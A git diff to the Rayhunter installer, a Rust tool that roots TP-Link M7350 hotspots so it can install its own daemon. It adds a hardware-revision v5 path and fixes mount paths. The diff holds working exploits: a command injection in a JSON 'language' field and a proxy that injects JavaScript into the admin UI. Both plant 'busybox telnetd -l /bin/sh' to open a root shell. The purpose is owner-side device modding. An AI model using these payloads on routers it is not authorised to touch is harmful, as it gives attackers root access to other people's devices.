diff --git a/Cargo.lock b/Cargo.lock index ebee10c3..f1e6476f 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1170,12 +1170,12 @@ dependencies = [ [[package]] name = "http-body-util" -version = "0.1.0" +version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41cb79eb393015dadd30fc252023adb0b2400a0caee0fa2a077e6e21a551e840" +checksum = "b021d93e26becf5dc7e1b75b1bed1fd93124b374ceb73f43d4d4eafec896a64a" dependencies = [ "bytes", - "futures-util", + "futures-core", "http", "http-body", "pin-project-lite", @@ -1491,7 +1491,11 @@ version = "0.1.0" dependencies = [ "adb_client", "anyhow", + "axum", + "bytes", "clap", + "hyper", + "hyper-util", "md5", "nusb", "reqwest", diff --git a/installer/Cargo.toml b/installer/Cargo.toml index 383714eb..ab213802 100644 --- a/installer/Cargo.toml +++ b/installer/Cargo.toml @@ -9,7 +9,11 @@ vendor = [] [dependencies] # adb_client = { path = "../../adb_client/adb_client" } anyhow = "1.0.98" +axum = "0.8.3" +bytes = "1.10.1" clap = { version = "4.5.37", features = ["derive"] } +hyper = "1.6.0" +hyper-util = "0.1.11" md5 = "0.7.0" nusb = "0.1.13" reqwest = { version = "0.12.15", features = ["json"], default-features = false } diff --git a/installer/src/main.rs b/installer/src/main.rs index 285c2ff9..bf7b8396 100644 --- a/installer/src/main.rs +++ b/installer/src/main.rs @@ -62,7 +62,7 @@ async fn run_function() -> Result<(), Error> { let Args { command } = Args::parse(); match command { - Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi. Currently only Hardware Revision v3 is supported.")?, + Command::Tplink(tplink) => tplink::main_tplink(tplink).await.context("Failed to install rayhunter on the TP-Link M7350. Make sure your computer is connected to the hotspot using USB tethering or WiFi.")?, Command::Orbic(_) => orbic::install().await.context("Failed to install rayhunter on the Orbic RC400L")?, Command::Util(subcommand) => match subcommand.command { UntilSubCommand::Serial(serial_cmd) => { diff --git a/installer/src/tplink.rs b/installer/src/tplink.rs index 247b01eb..a2aa86fb 100644 --- a/installer/src/tplink.rs +++ b/installer/src/tplink.rs @@ -3,6 +3,17 @@ use std::str::FromStr; use std::time::Duration; use anyhow::{Context, Error}; +use axum::{ + Router, + body::{Body, to_bytes}, + extract::{Request, State}, + http::uri::Uri, + response::{IntoResponse, Response}, + routing::any, +}; +use bytes::{Bytes, BytesMut}; +use hyper::StatusCode; +use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor}; use serde::Deserialize; use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::net::TcpStream; @@ -10,6 +21,8 @@ use tokio::time::{sleep, timeout}; use crate::InstallTpLink; +type HttpProxyClient = hyper_util::client::legacy::Client; + pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { let InstallTpLink { skip_sdcard, @@ -28,33 +41,45 @@ pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { // https://github.com/advisories/GHSA-ffwq-9r7p-3j6r // in particular: https://www.yuque.com/docs/share/fca60ef9-e5a4-462a-a984-61def4c9b132 - let RootResponse { result } = client.post(&qcmap_web_cgi_endpoint) + let response = client.post(&qcmap_web_cgi_endpoint) .body(r#"{"module": "webServer", "action": 1, "language": "EN';echo $(busybox telnetd -l /bin/sh);echo 1'"}"#) .send() - .await? - .error_for_status()? - .json() .await?; - if result != 0 { - anyhow::bail!("Bad result code when trying to root device: {result}"); + if response.status() == 404 { + println!("Got a 404 trying to run exploit for hardware revision v3, trying v5 exploit"); + tplink_launch_telnet_v5(admin_ip.clone()).await?; + } else { + let RootResponse { result } = response.error_for_status()?.json().await?; + + if result != 0 { + anyhow::bail!("Bad result code when trying to root device: {result}"); + } + + println!("Detected hardware revision v3"); } + println!("Succeeded in rooting the device!"); + + tplink_run_install(skip_sdcard, admin_ip).await +} + +async fn tplink_run_install(skip_sdcard: bool, admin_ip: String) -> Result<(), Error> { println!("Connecting via telnet to {admin_ip}"); let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); if !skip_sdcard { println!("Mounting sdcard"); - telnet_send_command(addr, "mount /dev/mmcblk0p1 /mnt/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; + telnet_send_command(addr, "mount /dev/mmcblk0p1 /media/card", "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; } // there is too little space on the internal flash to store anything, but the initrd script // expects things to be at this location telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?; telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?; - telnet_send_command(addr, "ln -sf /mnt/card /data/rayhunter", "exit code 0").await?; + telnet_send_command(addr, "ln -sf /media/card /data/rayhunter", "exit code 0").await?; - telnet_send_file(addr, "/mnt/card/config.toml", crate::CONFIG_TOML).await?; + telnet_send_file(addr, "/media/card/config.toml", crate::CONFIG_TOML).await?; #[cfg(feature = "vendor")] let rayhunter_daemon_bin = include_bytes!("../../rayhunter-daemon-tplink/rayhunter-daemon"); @@ -63,7 +88,7 @@ pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { let rayhunter_daemon_bin = &tokio::fs::read("target/armv7-unknown-linux-gnueabihf/release/rayhunter-daemon").await?; - telnet_send_file(addr, "/mnt/card/rayhunter-daemon", rayhunter_daemon_bin).await?; + telnet_send_file(addr, "/media/card/rayhunter-daemon", rayhunter_daemon_bin).await?; telnet_send_file( addr, "/etc/init.d/rayhunter_daemon", @@ -73,7 +98,7 @@ pub async fn main_tplink(args: InstallTpLink) -> Result<(), Error> { telnet_send_command( addr, - "chmod ugo+x /mnt/card/rayhunter-daemon", + "chmod ugo+x /media/card/rayhunter-daemon", "exit code 0", ) .await?; @@ -186,3 +211,84 @@ async fn telnet_send_command( Ok(()) } + +#[derive(Clone)] +struct AppState { + client: HttpProxyClient, + admin_ip: String, +} + +async fn handler(state: State, mut req: Request) -> Result { + let path = req.uri().path(); + let path_query = req + .uri() + .path_and_query() + .map(|v| v.as_str()) + .unwrap_or(path); + + let uri = format!("http://{}{}", state.admin_ip, path_query); + let is_settings_js = path_query == "/js/settings.min.js"; + + *req.uri_mut() = Uri::try_from(uri).unwrap(); + + let mut response = state + .client + .request(req) + .await + .map_err(|_| StatusCode::BAD_REQUEST)? + .into_response(); + + if is_settings_js { + let (parts, body) = response.into_parts(); + let data = to_bytes(body, usize::MAX) + .await + .map_err(|_| StatusCode::INTERNAL_SERVER_ERROR)?; + let mut data = BytesMut::from(data); + // inject some javascript into the admin UI to get us a telnet shell. + data.extend(br#";window.rayhunterPoll = window.setInterval(() => { + Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"}); + alert("Success! You can go back to the rayhunter installer."); + window.clearInterval(window.rayhunterPoll); + }, 1000);"#); + response = Response::from_parts(parts, Body::from(Bytes::from(data))); + response.headers_mut().remove("Content-Length"); + } + + Ok(response) +} + +async fn tplink_launch_telnet_v5(admin_ip: String) -> Result<(), Error> { + let client: HttpProxyClient = + hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new()) + .build(HttpConnector::new()); + + let app = Router::new() + .route("/", any(handler)) + .route("/{*path}", any(handler)) + .with_state(AppState { + client, + admin_ip: admin_ip.clone(), + }); + + let listener = tokio::net::TcpListener::bind("127.0.0.1:4000") + .await + .unwrap(); + + println!("Listening on http://{}", listener.local_addr().unwrap()); + println!("Please open above URL in your browser and log into the router to continue."); + + let handle = tokio::spawn(async move { axum::serve(listener, app).await }); + + let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); + + while telnet_send_command(addr, "true", "exit code 0") + .await + .is_err() + { + sleep(Duration::from_millis(1000)).await; + } + + handle.abort(); + + Ok(()) +}